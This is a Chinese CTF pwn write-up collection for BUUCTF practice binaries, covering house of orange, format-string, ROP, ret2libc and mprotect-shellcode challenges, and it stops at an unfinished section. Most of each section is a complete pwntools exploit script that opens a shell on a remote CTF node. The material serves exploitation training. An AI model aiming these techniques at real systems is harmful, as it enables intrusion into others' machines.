1 2 3 4 5 6 7 8 9 10 11 12 13 14 add(0x30 ,'a' *8 ) gef➤ x/32gx 0x556593871000 0x556593871000 : 0x0000000000000000 0x0000000000000021 0x556593871010 : 0x0000556593871070 0x0000556593871030 0x556593871020 : 0x0000000000000000 0x0000000000000041 0x556593871030 : 0x0000000a61616161 0x0000000000000000 0x556593871040 : 0x0000000000000000 0x0000000000000000 0x556593871050 : 0x0000000000000000 0x0000000000000000 0x556593871060 : 0x0000000000000000 0x0000000000000021 0x556593871070 : 0x000000210000000a 0x0000000000000000 0x556593871080 : 0x0000000000000000 0x0000000000020f81 。。。。。。。。 。。。。。。。。。。。 。。。。。。。。。。
覆盖掉 top chunk size域的payload为
payload = 'a'*0x30+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0xf81)
这样就将 top_chunk->szie = 0x1fc0
1 2 3 4 5 6 7 8 9 0x56222cc84000: 0x0000000000000000 0x0000000000000021 0x56222cc84010: 0x000056222cc84070 0x000056222cc84030 0x56222cc84020: 0x0000000000000000 0x0000000000000041 0x56222cc84030: 0x6161616161616161 0x6161616161616161 .............. .................. .................. 0x56222cc84060: 0x0000000000000000 0x0000000000000021 0x56222cc84070: 0x0000002100000006 0x6161616161616161 0x56222cc84080: 0x0000000000000000 0x0000000000000f81 0x56222cc84090: 0x0000000000000000 0x0000000000000000
修改成功
0x2 触发sysmalloc中的_int_free
成功修改 top chunk ,下一步只要我们申请一块 topchunk 大小不满足 的chunk即可,由之前的分析可知我们最大可以申请 0x1000 的空间,那么
add(0x1000,'b'*8)
1 2 3 4 5 6 7 8 Chunk(addr=0x564081bf1010, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf1030, size=0x40, flags=PREV_INUSE) Chunk(addr=0x564081bf1070, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf1090, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf10b0, size=0x20, flags=PREV_INUSE) Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE) Chunk(addr=0x564081bf1ff0, size=0x10, flags=) Chunk(addr=0x564081bf2000, size=0x10, flags=PREV_INUSE)
top_chunk 消失了
1 2 3 [+] unsorted_bins[0]: fw=0x564081bf10c0, bk=0x564081bf10c0 → Chunk(addr=0x564081bf10d0, size=0xf20, flags=PREV_INUSE) [+] Found 1 chunks in unsorted bin.
成功加入 unsroted bins ,相当于 free 掉了top chunk
0x3 泄露libc和heap的地址
下从 unsorted bins 中取出一点下来用
因为原来有输出的功能,那么我们使用它输出刚才的那个chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 add(0x400 ,'c' *8 ) see() leak = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success("leak add => 0x%x" ,leak) gdb.attach(p) [+] leak add => 0x7f5cf839a10a 0x5584c45e30e0 PREV_INUSE { prev_size = 0 , size = 1041 , fd = 0x6363636363636363 , bk = 0x7f5cf839a10a <main_arena+1514 >, fd_nextsize = 0x5584c45e30e0 , bk_nextsize = 0x5584c45e30e0 } vmmap 0x5584c45e3000 0x5584c4626000 rw-p 43000 0 [heap] 0x7f5cf7fd5000 0x7f5cf8195000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7f5cf8195000 0x7f5cf8395000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7f5cf8395000 0x7f5cf8399000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7f5cf8399000 0x7f5cf839b000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so
如果知道是知道libc2.23的话
1 2 >>> hex(0x7f5cf839a10a-0x7f5cf7fd5000-1514) '0x3c4b20'
不知道的话直接加减
1 2 >>> hex(0x7f5cf839a10a-0x7f5cf7fd5000) '0x3c510a'
同理可知 heap_base
开始泄露,但是要泄露什么?这里泄露的东西就决定了我们攻击的方式
这道题保护全开,之前的方法好像不太行,想起之前的文章FILE结构
那我们可以伪造出一个file,通过修改 vtable 指针来调用 system 那么就需要
1 2 3 4 5 libc_base = leak-0x3c510a system_addr = libc_base+libc.sym["system" ] binsh = libc_base+libc.search("/bin/sh\x00" ).next () IO_list_all = libc_base+libc.sym["_IO_list_all" ] IO_str_jumps = libc.symbols["_IO_file_jumps" ]+0xc0 +libc_base
0x4 开始构造 fake file
ptr_vtable指向伪造的vtable处,vtable[3]为IO_overflow函数地址,将vtable[3]伪造为system地址,
如果再进入build_house函数,进行malloc(0x10),由于0x10<=2*SIZE_SZ,就会触发malloc_printerr,会遍历IO_llist_all,通过chain找到最终伪造的在old top chunk处的_IO_FILE,然后找到vtable,最终调用 IO_overflow函数
调用IO_overflow时会传入_IO_FILE结构指针作为参数,将old top chunk处伪造的_IO_FILE的前几个字节修改为/bin/sh\x00 即最终调用为system(‘/bin/sh’)
2016 ctf-HITCON——houseoforange
FILE结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
偏移0x20处为IO_write_base,偏移0x28处为IO_write_ptr,偏移0xc8处为_mode,偏移0xd8处为ptr_vtable
绕过检测:
1._mode<=0
2._IO_write_base<IO_write_ptr
最终的结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 payload = "a" *0x400 payload += p64(0 )+p64(0x21 )+'a' *0x10 fake_file = p64(0 )+p64(0x60 ) fake_file += p64(0 )+p64(IO_list_all-0x10 ) fake_file += p64(0 )+p64(1 ) fake_file += p64(0 )+p64(binsh) fake_file = fake_file.ljust(0xc0 ,'\x00' ) payload += fake_file payload += p64(0 )*3 payload += p64(IO_str_jumps-0x8 ) payload += p64(0 ) payload += p64(system_addr)
1 2 3 4 5 6 7 8 unsortedbin all [corrupted] FD: 0x55b6afcad510 ◂— 0x0 BK: 0x55b6afcad510 —▸ 0x7f0850d77510 ◂— 0x0 pwndbg> x/12gx 0x7f0850d77510 0x7f0850d77510: 0x0000000000000000 0x0000000000000000 0x7f0850d77520 <_IO_list_all>: 0x00007f0850d77540 0x0000000000000000 0x7f0850d77530: 0x0000000000000000 0x0000000000000000
已经迁移IO_list_all
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *elf = ELF("./houseoforange_hitcon_2016" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so" ) p = 0 def connect (ip,port,mode ): global p if mode == 1 : p = process("./houseoforange_hitcon_2016" ) else : p = remote(ip,port) def add (sz,name ): p.sendlineafter(": " ,"1" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,name) p.sendlineafter(":" ,"10" ) p.sendlineafter(":" ,"3" ) def see (): p.sendlineafter(": " ,"2" ) def edit (sz,text ): p.sendlineafter(": " ,"3" ) p.sendlineafter(":" ,str (sz)) p.sendlineafter(":" ,text) p.sendlineafter(":" ,"3" ) def pwn (): add(0x30 ,'a' *8 ) payload = 'a' *0x30 +p64(0 )+p64(0x21 )+'a' *0x10 +p64(0 )+p64(0xf81 ) edit(len (payload),payload) add(0x1000 ,'b' ) add(0x400 ,'c' *8 ) see() leak = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success("leak add => 0x%x" ,leak) libc_base = leak-0x3c510a system_addr = libc_base+libc.sym["system" ] binsh = libc_base+libc.search("/bin/sh\x00" ).next () IO_list_all = libc_base+libc.sym["_IO_list_all" ] IO_str_jumps = libc.symbols["_IO_file_jumps" ]+0xc0 +libc_base log.success("libc base => 0x%x" ,libc_base) log.success("system addr => 0x%x" ,system_addr) log.success("IO list all => 0x%x" ,IO_list_all) log.success("IO str jump => 0x%x" ,IO_str_jumps) payload = "a" *0x400 payload += p64(0 )+p64(0x21 )+'a' *0x10 fake_file = p64(0 )+p64(0x60 ) fake_file += p64(0 )+p64(IO_list_all-0x10 ) fake_file += p64(0 )+p64(1 ) fake_file += p64(0 )+p64(binsh) fake_file = fake_file.ljust(0xc0 ,'\x00' ) payload += fake_file payload += p64(0 )*3 payload += p64(IO_str_jumps-0x8 ) payload += p64(0 ) payload += p64(system_addr) edit(0x800 ,payload) p.recv() p.sendline("1" ) p.sendline("1" ) p.interactive() if __name__ == '__main__' : connect("node3.buuoj.cn" ,29891 ,1 ) pwn()
inndy_echo
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char s; unsigned int v4; v4 = __readgsdword(0x14 u); setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); do { fgets(&s, 0x100 , stdin ); printf (&s); } while ( strcmp (&s, "exit\n" ) ); system("echo Goodbye" ); exit (0 ); }
字符串格式化漏洞,没有栈溢出,利用任意地址写把printf@got
改为system@plt
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.log_level = "debug" elf = ELF("./echo" ) p = remote("node3.buuoj.cn" ,"29921" ) printf_got_addr = elf.got["printf" ] system_plt_addr = elf.plt["system" ] payload = fmtstr_payload(7 ,{printf_got_addr: system_plt_addr}) p.sendline(payload) p.sendline("$0" ) p.interactive()
inndy_rop
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
overflow
1 2 3 4 5 6 int overflow () { char v1; return gets(&v1); }
函数复杂,有溢出,直接自动生成ropchain
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from struct import packcontext.log_level = "debug" q = remote("node3.buuoj.cn" ,"28171" ) context.log_level = 'debug' def payload (): p = 'a' *0xc + 'bbbb' p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) return p shell = payload() q.sendline(shell) q.interactive()
jarvisoj_fm
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; unsigned int v5; v5 = __readgsdword(0x14 u); be_nice_to_people(); memset (&buf, 0 , 0x50 u); read(0 , &buf, 0x50 u); printf (&buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
利用字符串格式化漏洞改x
为4
3.EXP
1 2 3 4 5 6 7 8 9 from pwn import *context.log_level = "debug" p = process("./fm" ) elf = ELF("./fm" ) x_addr = 0x0804A02C payload = p32(x_addr)+"%11$n" p.sendline(payload) p.interactive()
jarvisoj_guess
Socket原理讲解
下标越界导致盲注
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
is_flag_correct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 qmemcpy(bin_by_hex, &unk_401100, sizeof (bin_by_hex)); qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}" , sizeof (flag)); bzero(given_flag, 0x32 uLL); for ( i = 0 ; i <= 0x31 ; ++i ) { value1 = bin_by_hex[flag_hex[2 * i]]; value2 = bin_by_hex[flag_hex[2 * i + 1 ]]; if ( value1 == -1 || value2 == -1 ) { puts ("bad input – one of the characters you supplied was not a valid hex character!" ); exit (0 ); } given_flag[i] = value2 | 16 * value1; } diff = 0 ; for ( i_0 = 0 ; i_0 <= 49 ; ++i_0 ) diff |= flag[i_0] ^ given_flag[i_0]; return diff == 0 ;
其中 flag 是之前 qmemcpy
过后的,given_flag 是通过 value_1 和 value_2 的值计算来的,而这两个值是由我们输入的flag决定,如果控制 flag_hex[2 * i] 为负数,就可以flag结果修改为正确的flag结果,这样就可以通过后面的检测了
is_flag_correct -> stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 -00000000000001A0 -00000000000001A0 db ? ; undefined -000000000000019F db ? ; undefined -000000000000019E db ? ; undefined -000000000000019D db ? ; undefined -000000000000019C db ? ; undefined -000000000000019B db ? ; undefined -000000000000019A db ? ; undefined -0000000000000199 db ? ; undefined -0000000000000198 flag_hex dq ? ; offset -0000000000000190 given_flag db 50 dup(?) -000000000000015E db ? ; undefined -000000000000015D db ? ; undefined -000000000000015C db ? ; undefined -000000000000015B db ? ; undefined -000000000000015A db ? ; undefined -0000000000000159 db ? ; undefined -0000000000000158 db ? ; undefined -0000000000000157 db ? ; undefined -0000000000000156 db ? ; undefined -0000000000000155 db ? ; undefined -0000000000000154 db ? ; undefined -0000000000000153 db ? ; undefined -0000000000000152 db ? ; undefined -0000000000000151 db ? ; undefined -0000000000000150 flag db 50 dup(?) -000000000000011E db ? ; undefined -000000000000011D db ? ; undefined -000000000000011C db ? ; undefined -000000000000011B db ? ; undefined -000000000000011A db ? ; undefined -0000000000000119 db ? ; undefined -0000000000000118 db ? ; undefined -0000000000000117 db ? ; undefined -0000000000000116 db ? ; undefined -0000000000000115 db ? ; undefined -0000000000000114 db ? ; undefined -0000000000000113 db ? ; undefined -0000000000000112 db ? ; undefined -0000000000000111 db ? ; undefined -0000000000000110 bin_by_hex db 256 dup(?) -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E value2 db ? -000000000000000D value1 db ? -000000000000000C i_0 dd ? -0000000000000008 db ? ; undefined -0000000000000007 db ? ; undefined -0000000000000006 db ? ; undefined -0000000000000005 diff db ? -0000000000000004 i dd ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
char的范围一般是0~255,这里有整数溢出,190 + ∣ − 66 ∣ = 256 190+|-66|=256 1 9 0 + ∣ − 6 6 ∣ = 2 5 6 ,这种都行
1 2 3 4 payload = '' for i in range (50 ): payload += '0' payload += p8(0x100 -0x40 + i)
这样的payload就可以通过检测了,然后逐字节爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 sh = remote('node3.buuoj.cn' ,26493 ) flag = '' for i in range (1 ,51 ): print "guess the index {}'s char" .format (i) for c in range (32 ,128 ): pay = payload[0 :2 *i-2 ] + hex (c)[2 :] + payload[2 *i:] sh.sendlineafter('guess> ' ,pay) ans = sh.recvuntil('\n' ) if 'Yaaaay!' in ans: flag += chr (c) break print 'flag=' ,flag sh.close()
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *payload = '' for i in range (50 ): payload += '0' payload += p8(0x100 -0x40 + i) sh = remote('node3.buuoj.cn' ,26493 ) flag = '' for i in range (1 ,51 ): print "guess the index {}'s char" .format (i) for c in range (32 ,128 ): pay = payload[0 :2 *i-2 ] + hex (c)[2 :] + payload[2 *i:] sh.sendlineafter('guess> ' ,pay) ans = sh.recvuntil('\n' ) if 'Yaaaay!' in ans: flag += chr (c) break print 'flag>' ,flag sh.close()
jarvisoj_typo
1.checksec
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
发现是arm架构的pwn
jarvisoj_level0
环境:Ubuntu16
1.checksec
1 2 3 4 5 6 [*] '/home/o Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 int __cdecl main (int argc, const char **argv, const char **envp) { write(1 , "Hello, World\n" , 0xD uLL); return vulnerable_function(1LL , "Hello, World\n" ); }
vulnerable_function
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf; return read(0 , &buf, 0x200 uLL); }
简单溢出,且含有system binsh
3.EXP
1 2 3 4 5 6 7 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28704 ) binsh = 0x040059A payload = 'a' *0x88 + p64(binsh) p.sendlineafter("\n" ,payload) p.interactive()
jarvisoj_level2
环境:Ubuntu:16
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'" ); return 0 ; }
vulnerable_function
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf; system("echo Input:" ); return read(0 , &buf, 0x100 u); }
有system和binsh
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p = remote("node3.buuoj.cn" ,26265 ) sys_addr = 0x0804845C binsh = 0x0804A024 payload = 'a' *(0x88 +4 ) payload += p32(sys_addr) + p32(binsh) p.sendlineafter(":" ,payload) p.interactive()
system只能选取已经执行过的system
jarvisoj_level3
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); write(1 , "Hello, World!\n" , 0xE u); return 0 ; }
vulnerable_function
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf; write(1 , "Input:\n" , 7u ); return read(0 , &buf, 0x100 u); }
栈溢出,需要找到libc
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26281 ) elf = ELF("./level3" ) libc_start = elf.sym["__libc_start_main" ] libc_start_got = elf.got["__libc_start_main" ] write_plt = elf.plt["write" ] write_got = elf.got["write" ] start_addr = 0x08048350 p1 = 'a' *0x88 +'aaaa' p1 += p32(write_plt)+p32(start_addr) p1 += p32(1 )+p32(write_got)+p32(4 ) p.sendlineafter(":\n" ,p1) write_real = u32(p.recv(4 )) libc = LibcSearcher("write" ,write_real) libc_base = write_real - libc.dump("write" ) print "libc_base=>" +hex (libc_base)sys_addr = libc_base+libc.dump("system" ) binsh = libc_base+libc.dump("str_bin_sh" ) p1 = 'a' *(0x88 +4 ) p1 += p32(sys_addr)+p32(0 )+p32(binsh) p.sendlineafter(":\n" ,p1) p.interactive()
jarvisoj_level3_x64
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); return write(1 , "Hello, World!\n" , 0xE uLL); }
vulnerable_function
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf; write(1 , "Input:\n" , 7uLL ); return read(0 , &buf, 0x200 uLL); }
read 溢出+libc_leak
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,27722 ) elf = ELF("./level3_x64" ) read_got = elf.got['read' ] write_plt = elf.plt['write' ] vuln_addr = elf.sym["vulnerable_function" ] pop_rdi_ret = 0x04006b3 pop_rsi_r15_ret = 0x04006b1 pop_rbp_ret = 0x0400550 ''' 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop r14 ; pop r15 ; ret 0x00000000004006b2 : pop r15 ; ret 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400550 : pop rbp ; ret 0x00000000004006b3 : pop rdi ; ret 0x00000000004006b1 : pop rsi ; pop r15 ; ret 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400499 : ret ''' payload = 'a' *(0x80 +8 ) payload += p64(pop_rdi_ret)+p64(1 )+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0 ) payload += p64(write_plt)+p64(vuln_addr) p.recvuntil("Input:\n" ) p.sendline(payload) read_real = u64(p.recv(8 )) libc = LibcSearcher("read" ,read_real) libc_base = read_real - libc.dump("read" ) sys_addr = libc_base + libc.dump("system" ) binsh = libc_base + libc.dump("str_bin_sh" ) log.info("libc base==>%s" ,hex (libc_base)) log.info("system addr==>%s" ,hex (sys_addr)) log.info("/bin/sh addr==>%s" ,hex (binsh)) payload = 'a' *(0x80 +8 ) payload += p64(pop_rdi_ret)+p64(binsh)+p64(sys_addr)+p64(vuln_addr) p.recvuntil("Input:\n" ) p.sendline(payload) p.interactive()
jarvisoj_level4
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); write(1 , "Hello, World!\n" , 0xE u); return 0 ; }
vulnerable_function
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf; return read(0 , &buf, 0x100 u); }
这题本意是然大家用Dynefl来泄露libc的,但是LibcSearcher一样可以
3.EXP
3.1 libcsearcher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28393 ) elf = ELF("./level4" ) libc_start_main = elf.got["__libc_start_main" ] write_plt = elf.plt['write' ] main_addr = elf.sym['main' ] payload = 'a' *(0x88 +4 ) payload += p32(write_plt)+p32(main_addr)+p32(1 )+p32(libc_start_main) p.sendline(payload) libc_start_real = u32(p.recv(4 )) libc = LibcSearcher("__libc_start_main" ,libc_start_real) libc_base = libc_start_real - libc.dump("__libc_start_main" ) sys_addr = libc_base + libc.dump("system" ) binsh = libc_base + libc.dump("str_bin_sh" ) log.info("libc base=>%s" ,hex (libc_base)) log.info("system addr=>%s" ,hex (sys_addr)) log.info("binsh addr=>%s" ,hex (binsh)) payload = 'a' *(0x88 +4 ) payload += p32(sys_addr)+p32(0xdeadbeef )+p32(binsh) p.sendline(payload) p.interactive()
3.2 Dynelf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *io=remote("node3.buuoj.cn" ,28393 ) elf=ELF("./level4" ) vulner_function_address=0x804844B write_plt=elf.plt["write" ] read_plt=elf.plt["read" ] bss_addr=0x0804a024 def leak (address ): payload="a" *0x88 +"aaaa" +p32(write_plt)+p32(vulner_function_address)+p32(1 )+p32(address)+p32(4 ) io.sendline(payload) leak_sysaddr=io.recv(4 ) print "%#x => %s" % (address, (leak_sysaddr or '' ).encode('hex' )) return leak_sysaddr d = DynELF(leak, elf=ELF("./level4" )) sys_addr=d.lookup("system" ,"libc" ) print hex (sys_addr)payload1="a" *0x88 +"aaaa" +p32(read_plt)+p32(vulner_function_address)+p32(1 )+p32(bss_addr)+p32(8 ) io.sendline(payload1) io.sendline("/bin/sh" ) payload2="a" *0x88 +"aaaa" +p32(sys_addr)+p32(vulner_function_address)+p32(bss_addr) io.sendline(payload2) io.interactive()
jarvisoj_level5
buu上给的就是jarvisoj_level3_x64
jarvisoj_tell_me_something
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v4; write(1 , "Input your message:\n" , 0x14 uLL); read(0 , &v4, 0x100 uLL); return write(1 , "I have received your message, Thank you!\n" , 0x29 uLL); }
good_game
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int good_game () { FILE *v0; int result; char buf; v0 = fopen("flag.txt" , "r" ); while ( 1 ) { result = fgetc(v0); buf = result; if ( (_BYTE)result == -1 ) break ; write(1 , &buf, 1uLL ); } return result; }
自行读取flag,不嫌麻烦也可试试open/read/write
3.EXP
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node3.buuoj.cn" ,29781 ) elf = ELF("./guestbook" ) payload = 'a' *0x88 + p64(0x0400620 ) p.recvuntil("message:" ) p.sendline(payload) print p.recv()p.interactive()
jarvisoj_test_your_memory
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; char s2[11 ]; int v6; int i; v6 = 10 ; puts ("\n\n\n------Test Your Memory!-------\n" ); v3 = time(0 ); srand(v3); for ( i = 0 ; i < v6; ++i ) s2[i] = alphanum_2626[rand() % 0x3E u]; printf ("%s" , s2); mem_test(s2); return 0 ; }
产生随机数,然后让我们来猜
mem_test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl mem_test (char *s2) { int result; char s; memset (&s, 0 , 0xB u); puts ("\nwhat???? : " ); printf ("0x%x \n" , hint); puts ("cff flag go go go ...\n" ); printf ("> " ); __isoc99_scanf("%s" , &s); if ( !strncmp (&s, s2, 4u ) ) result = puts ("good job!!\n" ); else result = puts ("cff flag is failed!!\n" ); return result; }
验证我们的输入,并且有了栈溢出 和cat flag 的地址
win_func
1 2 3 4 int __cdecl win_func (char *command) { return system(command); }
后门函数,作用==system
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28178 ) elf = ELF("./memory" ) cat_flag = 0x80487e0 payload = 'a' *(0x13 +4 ) payload += p32(elf.sym["win_func" ])+p32(cat_flag) payload += p32(cat_flag) p.sendline(payload) p.interactive()
not_the_same_3dctf_2016
1.checksec
1 2 3 4 5 Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
2.IDA
main
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; printf ("b0r4 v3r s3 7u 4h o b1ch4o m3m0... " ); gets(&v4); return 0 ; }
简单栈溢出,但是远程开启了段保护,所以用ROP取消段保护
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p=process('./not_the_same_3dsctf_2016' ) p = remote("node3.buuoj.cn" ,28930 ) elf=ELF('./not_the_same_3dsctf_2016' ) payload='a' *0x2d +p32(elf.symbols['mprotect' ]) payload+=p32(0x0809e3e5 ) payload+=p32(0x080EB000 ) payload+=p32(0x1000 )+p32(0x7 ) payload+=p32(elf.symbols['read' ]) payload+=p32(0x0809e3e5 )+p32(0 )+p32(0x080EBF80 )+p32(0x100 )+p32(0x080EBF80 ) p.sendline(payload) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
others_babystack
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
两个主要功能
1 2 3 4 5 6 def store (text ): p.sendlineafter(">>" ,"1" ) p.sendline(text) def Print (): p.sendlineafter(">>" ,"2" )
main
